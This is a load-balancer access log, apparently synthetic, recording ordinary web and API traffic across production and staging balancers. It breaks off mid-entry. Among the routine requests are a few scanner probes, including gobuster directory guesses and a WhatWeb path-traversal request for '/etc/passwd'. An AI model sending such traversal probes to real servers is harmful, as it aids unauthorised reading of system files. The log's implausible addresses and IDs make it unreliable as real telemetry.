"Root=1-6723c202-44ece2153579405ea5c3e7cb" "prod-api-alb.example.com" "-" 10 2024-11-01T00:44:34.323083Z "forward" "-" "-" "10.0.112.81:443" "301" "-" "-" +http 2024-11-01T00:44:35.246855Z staging-alb 125.172.193.77:57720 135.57.141.136:80 0.140464 0.594563 0.113473 200 200 921 1896 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c203-efbea0bb29c34a909461aa01" "staging-alb.example.com" "-" 7 2024-11-01T00:44:35.246855Z "forward" "-" "-" "135.57.141.136:80" "200" "-" "-" +http 2024-11-01T00:44:37.039012Z staging-alb 109.129.131.41:38989 144.156.145.154:8080 0.016046 0.558560 0.017303 200 200 378 8408 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c205-5fc9da3cd1e74d6a82ba1d98" "staging-alb.example.com" "-" 3 2024-11-01T00:44:37.039012Z "forward" "-" "-" "144.156.145.154:8080" "200" "-" "-" +https 2024-11-01T00:44:37.222921Z prod-web-alb 96.151.144.176:29518 10.0.138.127:443 0.003727 0.024691 0.010278 302 302 268 2156 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c205-25dcabd8f8f9475c8ef5493a" "prod-web-alb.example.com" "-" 10 2024-11-01T00:44:37.222921Z "forward" "-" "-" "10.0.138.127:443" "302" "-" "-" +https 2024-11-01T00:44:38.907067Z prod-api-alb 226.55.216.20:61426 10.0.220.17:443 0.011329 0.440264 0.015387 200 200 284 14483 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c206-fcc85d3b22a149f29742fc10" "prod-api-alb.example.com" "-" 8 2024-11-01T00:44:38.907067Z "forward" "-" "-" "10.0.220.17:443" "200" "-" "-" +http 2024-11-01T00:44:39.145293Z staging-alb 40.115.112.153:43167 81.156.73.34:8080 0.142966 0.645065 0.077375 200 200 434 202 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c207-76fbf29649bc4e4dbbf53b83" "staging-alb.example.com" "-" 8 2024-11-01T00:44:39.145293Z "forward" "-" "-" "81.156.73.34:8080" "200" "-" "-" +https 2024-11-01T00:44:39.558589Z prod-api-alb 57.245.191.163:50084 10.0.253.125:443 0.024179 0.376673 0.047536 200 200 217 5605 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c207-4b3e73b8199d4e328ef6b295" "prod-api-alb.example.com" "-" 6 2024-11-01T00:44:39.558589Z "forward" "-" "-" "10.0.253.125:443" "200" "-" "-" +https 2024-11-01T00:44:40.957827Z prod-web-alb 187.112.129.81:18015 10.0.108.214:443 0.096275 0.223062 0.072075 301 301 648 4739 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c208-19bacf02492345218e350c58" "prod-web-alb.example.com" "-" 4 2024-11-01T00:44:40.957827Z "forward" "-" "-" "10.0.108.214:443" "301" "-" "-" +https 2024-11-01T00:44:41.571771Z staging-alb 226.234.147.152:44999 163.173.27.109:8080 0.089604 0.259354 0.099831 200 200 37 9396 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c209-c42a3f83eb564c47af51d9c0" "staging-alb.example.com" "-" 4 2024-11-01T00:44:41.571771Z "forward" "-" "-" "163.173.27.109:8080" "200" "-" "-" +https 2024-11-01T00:44:43.093164Z prod-api-alb 168.95.188.36:47043 10.0.42.62:443 0.027594 0.418401 0.014375 200 200 355 5656 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c20b-5d29a3c6084840d2af616be3" "prod-api-alb.example.com" "-" 8 2024-11-01T00:44:43.093164Z "forward" "-" "-" "10.0.42.62:443" "200" "-" "-" +http 2024-11-01T00:44:44.011016Z staging-alb 108.88.45.15:35530 103.63.196.120:80 0.137329 0.363644 0.079080 301 301 973 285 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c20c-b92932ea79f74b0bb073e5d1" "staging-alb.example.com" "-" 10 2024-11-01T00:44:44.011016Z "forward" "-" "-" "103.63.196.120:80" "301" "-" "-" +https 2024-11-01T00:44:45.811889Z prod-api-alb 219.254.46.152:59025 10.0.224.122:443 0.098976 0.013085 0.082673 200 200 741 8051 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c20d-a1db1ef07b88450696e21a90" "prod-api-alb.example.com" "-" 2 2024-11-01T00:44:45.811889Z "forward" "-" "-" "10.0.224.122:443" "200" "-" "-" +https 2024-11-01T00:44:47.174315Z prod-web-alb 76.247.32.131:11563 10.0.236.110:443 0.031679 0.197931 0.037795 302 302 227 7699 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c20f-226a9a88c8a640b7acf724bd" "prod-web-alb.example.com" "-" 2 2024-11-01T00:44:47.174315Z "forward" "-" "-" "10.0.236.110:443" "302" "-" "-" +https 2024-11-01T00:44:47.364114Z prod-web-alb 143.127.70.48:20083 10.0.75.3:443 0.009605 0.160370 0.004081 200 200 699 4935 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c20f-f7a19e8207794e14b04e3718" "prod-web-alb.example.com" "-" 3 2024-11-01T00:44:47.364114Z "forward" "-" "-" "10.0.75.3:443" "200" "-" "-" +https 2024-11-01T00:44:47.972272Z prod-api-alb 50.71.194.91:18362 10.0.118.166:443 0.036377 0.489692 0.031551 404 404 0 10356 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c20f-e31e4cc404ca4d2fba63148e" "prod-api-alb.example.com" "-" 5 2024-11-01T00:44:47.972272Z "forward" "-" "-" "10.0.118.166:443" "404" "-" "-" +https 2024-11-01T00:44:48.805148Z prod-web-alb 192.109.225.194:18647 10.0.10.131:443 0.046558 0.231122 0.035276 200 200 105 5042 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c210-59042b06e3634612a19bf84c" "prod-web-alb.example.com" "-" 1 2024-11-01T00:44:48.805148Z "forward" "-" "-" "10.0.10.131:443" "200" "-" "-" +https 2024-11-01T00:44:49.494582Z staging-alb 193.27.228.48:33816 114.209.29.212:80 0.142410 0.470388 0.134149 301 301 169 789 "GET /config.php~ HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c211-4b9f4284292345d7a06876ef" "-" "-" 0 2024-11-01T00:44:49.494582Z "forward" "-" "-" "114.209.29.212:80" "301" "-" "-" +https 2024-11-01T00:44:50.580478Z prod-web-alb 102.112.141.104:48466 10.0.53.206:443 0.018877 0.105208 0.074982 301 301 591 4750 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c212-5b8023d564f549cb94e56db0" "prod-web-alb.example.com" "-" 4 2024-11-01T00:44:50.580478Z "forward" "-" "-" "10.0.53.206:443" "301" "-" "-" +https 2024-11-01T00:44:51.246409Z prod-web-alb 185.12.204.98:50219 10.0.50.242:443 0.041944 0.395143 0.014859 404 404 154 12265 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c213-e96c5749e95b4db58fdc4d9d" "prod-web-alb.example.com" "-" 10 2024-11-01T00:44:51.246409Z "forward" "-" "-" "10.0.50.242:443" "404" "-" "-" +http 2024-11-01T00:44:52.187995Z staging-alb 250.41.249.125:60333 131.22.222.50:80 0.122069 0.424851 0.082261 200 200 741 7388 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c214-d6be2390aca54c24972c302c" "staging-alb.example.com" "-" 10 2024-11-01T00:44:52.187995Z "forward" "-" "-" "131.22.222.50:80" "200" "-" "-" +https 2024-11-01T00:44:53.830139Z staging-alb 51.203.35.183:18597 110.105.189.251:443 0.087560 0.160491 0.091389 302 302 879 10511 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c215-9cf24099838c4a6192bc9824" "staging-alb.example.com" "-" 8 2024-11-01T00:44:53.830139Z "forward" "-" "-" "110.105.189.251:443" "302" "-" "-" +https 2024-11-01T00:44:55.449466Z prod-api-alb 210.39.55.252:24216 10.0.83.89:443 0.006945 0.328841 0.078420 200 200 254 7618 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c217-e6233970e50c4063925d8f11" "prod-api-alb.example.com" "-" 5 2024-11-01T00:44:55.449466Z "forward" "-" "-" "10.0.83.89:443" "200" "-" "-" +https 2024-11-01T00:44:56.997180Z staging-alb 245.121.21.159:35067 188.186.227.111:8080 0.006361 0.331817 0.062366 301 301 430 2699 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c218-f69255d8fb914440b07d9f81" "staging-alb.example.com" "-" 3 2024-11-01T00:44:56.997180Z "forward" "-" "-" "188.186.227.111:8080" "301" "-" "-" +https 2024-11-01T00:44:58.308745Z prod-api-alb 189.22.1.142:10199 10.0.69.173:443 0.057960 0.148033 0.081310 200 200 733 1388 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c21a-e6164be4401e4613adb5c30d" "prod-api-alb.example.com" "-" 1 2024-11-01T00:44:58.308745Z "forward" "-" "-" "10.0.69.173:443" "200" "-" "-" +https 2024-11-01T00:44:59.430714Z prod-web-alb 80.237.196.27:34238 10.0.225.255:443 0.025479 0.103022 0.014753 200 200 409 9210 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c21b-2ec5fc1f1a4344bca53f5b01" "prod-web-alb.example.com" "-" 10 2024-11-01T00:44:59.430714Z "forward" "-" "-" "10.0.225.255:443" "200" "-" "-" +https 2024-11-01T00:45:00.104172Z prod-web-alb 15.96.43.223:21779 10.0.147.220:443 0.035104 0.253518 0.068332 200 200 982 4433 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c21c-edc7f9b927444e1da1c870cc" "prod-web-alb.example.com" "-" 0 2024-11-01T00:45:00.104172Z "forward" "-" "-" "10.0.147.220:443" "200" "-" "-" +https 2024-11-01T00:45:00.327426Z prod-web-alb 172.178.3.89:54640 10.0.38.20:443 0.080479 0.348980 0.042545 200 200 499 9803 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c21c-1f40cc21701a4376ab3f5915" "prod-web-alb.example.com" "-" 2 2024-11-01T00:45:00.327426Z "forward" "-" "-" "10.0.38.20:443" "200" "-" "-" +https 2024-11-01T00:45:01.666419Z prod-web-alb 224.98.93.134:24297 10.0.151.43:443 0.020592 0.199771 0.032704 200 200 347 12702 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c21d-2f271fd413c84b49b2db0bcb" "prod-web-alb.example.com" "-" 6 2024-11-01T00:45:01.666419Z "forward" "-" "-" "10.0.151.43:443" "200" "-" "-" +http 2024-11-01T00:45:02.933567Z staging-alb 59.123.13.180:27769 232.72.39.238:80 0.149536 0.221195 0.137469 301 301 970 6259 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c21e-a2671f33bc8d4d929abf721e" "staging-alb.example.com" "-" 1 2024-11-01T00:45:02.933567Z "forward" "-" "-" "232.72.39.238:80" "301" "-" "-" +https 2024-11-01T00:45:03.939986Z prod-api-alb 46.215.117.145:63479 10.0.45.96:443 0.092505 0.226689 0.052534 200 200 373 497 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c21f-a4b70a5aee52489e91e6674d" "prod-api-alb.example.com" "-" 9 2024-11-01T00:45:03.939986Z "forward" "-" "-" "10.0.45.96:443" "200" "-" "-" +https 2024-11-01T00:45:05.785595Z prod-api-alb 227.236.147.17:61944 10.0.65.238:443 0.045978 0.459530 0.019134 200 200 0 14610 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c221-4d7f2c13e4cb4788b0af6484" "-" "-" 9 2024-11-01T00:45:05.785595Z "forward" "-" "-" "10.0.65.238:443" "200" "-" "-" +https 2024-11-01T00:45:06.435597Z prod-web-alb 246.214.172.32:63146 10.0.226.218:443 0.090919 0.004870 0.014756 301 301 462 14395 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c222-4a6b60685c104c1b852652d4" "-" "-" 2 2024-11-01T00:45:06.435597Z "forward" "-" "-" "10.0.226.218:443" "301" "-" "-" +https 2024-11-01T00:45:07.641489Z prod-web-alb 72.131.242.181:11134 10.0.130.61:443 0.037456 0.143684 0.059460 301 301 494 9366 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c223-7dfd739d02ec4c26a7e6c2b4" "prod-web-alb.example.com" "-" 6 2024-11-01T00:45:07.641489Z "forward" "-" "-" "10.0.130.61:443" "301" "-" "-" +https 2024-11-01T00:45:08.999005Z prod-web-alb 36.222.248.226:48915 10.0.123.185:443 0.003902 0.156023 0.053820 200 200 27 14414 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c224-63bec83ce49344868a0e2e5e" "prod-web-alb.example.com" "-" 9 2024-11-01T00:45:08.999005Z "forward" "-" "-" "10.0.123.185:443" "200" "-" "-" +https 2024-11-01T00:45:10.443013Z staging-alb 134.59.47.227:33511 206.25.64.85:443 0.043657 0.052560 0.102198 200 200 141 8730 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c226-e11411fc2bfe4fa5969cddf3" "staging-alb.example.com" "-" 5 2024-11-01T00:45:10.443013Z "forward" "-" "-" "206.25.64.85:443" "200" "-" "-" +https 2024-11-01T00:45:11.412266Z prod-web-alb 77.111.120.34:11763 10.0.159.195:443 0.001405 0.446204 0.003416 301 301 396 3022 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c227-4c8cd398bc174bb0b7452c31" "prod-web-alb.example.com" "-" 1 2024-11-01T00:45:11.412266Z "forward" "-" "-" "10.0.159.195:443" "301" "-" "-" +https 2024-11-01T00:45:12.855098Z prod-web-alb 180.65.29.102:16288 10.0.212.34:443 0.049182 0.006635 0.091703 200 200 44 11039 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c228-8965373e258f4890b1237a94" "prod-web-alb.example.com" "-" 1 2024-11-01T00:45:12.855098Z "forward" "-" "-" "10.0.212.34:443" "200" "-" "-" +https 2024-11-01T00:45:13.947449Z prod-api-alb 18.215.191.32:44364 10.0.253.246:443 0.079794 0.026310 0.018288 301 301 502 10345 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c229-41affbf5ab0f443187f5b452" "prod-api-alb.example.com" "-" 3 2024-11-01T00:45:13.947449Z "forward" "-" "-" "10.0.253.246:443" "301" "-" "-" +http 2024-11-01T00:45:15.800996Z staging-alb 45.155.205.141:44126 111.127.147.156:443 0.102710 0.632736 0.102104 404 404 851 565 "GET /static/../../secret HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c22b-9e4bf0696148411a9a814a14" "-" "-" 4 2024-11-01T00:45:15.800996Z "forward" "-" "-" "111.127.147.156:443" "404" "-" "-" +https 2024-11-01T00:45:16.442082Z prod-web-alb 191.182.175.77:29065 10.0.255.173:443 0.034059 0.473626 0.095763 301 301 642 14132 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c22c-171ed18cda5343ff90fa7d4d" "-" "-" 1 2024-11-01T00:45:16.442082Z "forward" "-" "-" "10.0.255.173:443" "301" "-" "-" +https 2024-11-01T00:45:17.386278Z staging-alb 81.197.26.9:50091 220.132.211.1:8080 0.130120 0.057415 0.005265 200 200 786 8779 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c22d-9c67dcace7b2468a9dec5cf5" "staging-alb.example.com" "-" 5 2024-11-01T00:45:17.386278Z "forward" "-" "-" "220.132.211.1:8080" "200" "-" "-" +https 2024-11-01T00:45:18.631021Z prod-web-alb 118.148.8.26:21368 10.0.125.11:443 0.091741 0.098609 0.017385 404 404 84 3607 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c22e-3b04d3a2619141b2b3ca1043" "prod-web-alb.example.com" "-" 0 2024-11-01T00:45:18.631021Z "forward" "-" "-" "10.0.125.11:443" "404" "-" "-" +https 2024-11-01T00:45:20.449389Z prod-web-alb 185.181.51.36:54602 10.0.20.185:443 0.026503 0.077699 0.086130 404 404 369 10448 "GET /../../../etc/passwd HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c230-41c0272b8cfd43a1867a8910" "-" "-" 4 2024-11-01T00:45:20.449389Z "forward" "-" "-" "10.0.20.185:443" "404" "-" "-" +http 2024-11-01T00:45:21.213758Z staging-alb 198.177.201.196:64063 56.146.24.63:80 0.123734 0.361043 0.016972 200 200 339 10499 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c231-ebc9a09b72804277b8d86a82" "staging-alb.example.com" "-" 2 2024-11-01T00:45:21.213758Z "forward" "-" "-" "56.146.24.63:80" "200" "-" "-" +https 2024-11-01T00:45:21.771425Z prod-api-alb 160.29.248.62:32383 10.0.29.18:443 0.039706 0.033717 0.069537 200 200 305 6303 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c231-ab334fa719c04973b8516a07" "prod-api-alb.example.com" "-" 1 2024-11-01T00:45:21.771425Z "forward" "-" "-" "10.0.29.18:443" "200" "-" "-" +https 2024-11-01T00:45:23.572349Z prod-api-alb 226.106.62.29:49110 10.0.204.96:443 0.029895 0.242553 0.070578 302 302 966 10583 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c233-79ce0d7a96ae4c9daae2020f" "prod-api-alb.example.com" "-" 0 2024-11-01T00:45:23.572349Z "forward" "-" "-" "10.0.204.96:443" "302" "-" "-" +https 2024-11-01T00:45:24.197315Z prod-web-alb 226.144.71.24:38930 10.0.53.42:443 0.095225 0.408099 0.068416 200 200 175 2091 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c234-747e67bc234c456cbd6c4f88" "-" "-" 9 2024-11-01T00:45:24.197315Z "forward" "-" "-" "10.0.53.42:443" "200" "-" "-" +http 2024-11-01T00:45:25.878696Z staging-alb 53.110.102.183:62762 9.197.109.68:8080 0.115658 0.075864 0.148641 302 302 954 13601 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c235-161ac3b2ab9e4994ad237b53" "staging-alb.example.com" "-" 6 2024-11-01T00:45:25.878696Z "forward" "-" "-" "9.197.109.68:8080" "302" "-" "-" +https 2024-11-01T00:45:26.049477Z prod-api-alb 219.5.143.107:52112 10.0.132.227:443 0.086142 0.177542 0.051205 200 200 496 3531 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c236-cf489be72e10497b990f1c4a" "prod-api-alb.example.com" "-" 9 2024-11-01T00:45:26.049477Z "forward" "-" "-" "10.0.132.227:443" "200" "-" "-" +https 2024-11-01T00:45:27.608019Z prod-api-alb 179.87.61.254:64467 10.0.14.165:443 0.083494 0.124433 0.002642 200 200 78 12194 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 